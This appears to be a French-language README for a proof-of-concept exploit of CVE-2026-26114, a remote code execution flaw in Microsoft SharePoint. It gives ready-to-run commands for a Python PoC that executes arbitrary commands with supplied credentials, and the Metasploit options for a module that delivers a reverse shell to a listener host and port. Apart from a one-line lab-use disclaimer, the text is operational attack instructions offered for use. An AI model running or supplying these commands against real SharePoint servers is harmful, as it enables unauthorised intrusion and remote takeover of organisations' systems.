Exploit de preuve de concept pour CVE-2026-26114, une vulnérabilité d'exécution de code à distance dans Microsoft SharePoint, avec un PoC Python et un module Metasploit pour l'exploitation automatisée et la livraison d'un shell inversé.
À utiliser uniquement en laboratoire ou sur des systèmes autorisés pour les tests.
pip install requests requests-ntlm
python poc/cve_2026_26114_rce.py ^
--target http://sharepoint.local ^
--username sp_user1 ^
--password "Password123!" ^
--domain SP19 ^
--cmd "cmd /c whoami > C:\Windows\Temp\cve_2026_26114.txt"
Vous pouvez utiliser --proxy http://127.0.0.1:8080, --insecure, ou remplacer --cmd par --marker-file C:\Windows\Temp\marker.txt.
Le module se trouve à :
modules/exploits/windows/http/sharepoint_cve_2026_26114.rb
Exemple d'options :
use exploit/windows/http/sharepoint_cve_2026_26114
set RHOSTS sharepoint.local
set RPORT 80
set SSL false
set TARGETURI /
set USERNAME sp_user1
set PASSWORD Password123!
set DOMAIN SP19
set SRVHOST 192.168.56.1
set SRVPORT 8080
set LHOST 192.168.56.1
set LPORT 4444
check
run
Si vous n'utilisez pas l'auto-discovery, définissez également TAXONOMY_STORE_ID, TAXONOMY_GROUP_ID, SITE_ID, WEB_ID, JOB_CREATOR_ID.